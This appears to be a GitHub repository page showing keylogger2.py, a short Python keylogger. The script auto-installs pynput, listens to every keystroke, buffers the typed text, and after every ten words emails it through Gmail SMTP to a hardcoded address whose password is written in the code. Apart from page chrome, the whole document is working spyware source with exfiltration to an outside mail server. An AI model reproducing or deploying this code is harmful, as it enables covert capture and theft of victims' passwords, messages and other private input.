-
Notifications
You must be signed in to change notification settings - Fork 2
/
keylogger2.py
74 lines (55 loc) · 4.25 KB
/
keylogger2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import sys #automatically install pynput
import subprocess #automatically install pynput
# script to install pynput (implement pip as a subprocess):
subprocess.check_call([sys.executable, '-m', 'pip', 'install',
'pynput==1.6.8'])
import pynput #used to keylog
import smtplib, ssl #used to send emails
from pynput.keyboard import Key, Listener
print("""
██ ██ ██████ ██ ██ ██ ██ █████ ██ ██ ███████ ██████ ███████ ███████ ███ ██ ██ ██ █████ ██████ ██ ██ ███████ ██████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
████ ██ ██ ██ ██ ███████ ███████ ██ ██ █████ ██████ █████ █████ ██ ██ ██ ███████ ███████ ██ █████ █████ ██ ██
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██████ ██████ ██ ██ ██ ██ ████ ███████ ██████ ███████ ███████ ██ ████ ██ ██ ██ ██ ██████ ██ ██ ███████ ██████
""")
words_per_line=0 #10 words and send email
final_string='' #string that sends to email
#email configuration
email='[email protected]' #email where logs will be sent
password='iamastuyvesanthacker123@' #password is iamastuyvesanthacker123@
port = 465 # For SSL
smtp_server = "smtp.gmail.com"
context = ssl.create_default_context()
#prints each keybard click
def keyboard_click(key):
global final_string, words_per_line,email
process_input(key)
if words_per_line>=10:
with smtplib.SMTP_SSL("smtp.gmail.com", 465, context=context) as server:
server.login(email, password) #log in to email
server.sendmail(email, email, final_string) #sender email, receiver email, message
final_string=''
words_per_line=0
#If user clicks escape key, exit out of program
def exit(key):
if key == Key.esc:
return False
def process_input(key): #processing the pynput module
global words_per_line, final_string
char= str(key).replace("'","")
if char=="Key.space":
words_per_line+=1
final_string+=" "
elif char=="Key.enter":
final_string+="\n"
elif char=="Key.backspace":
final_string+= (" BACKSPACE\n")
elif char=="Key.ctrl_l" or char=="Key.shift":
final_string+="" #write nothing if weird keys are entered
else:
final_string+=char
#runs keylog function
with Listener (on_press=keyboard_click, on_release=exit) as listener:
listener.join()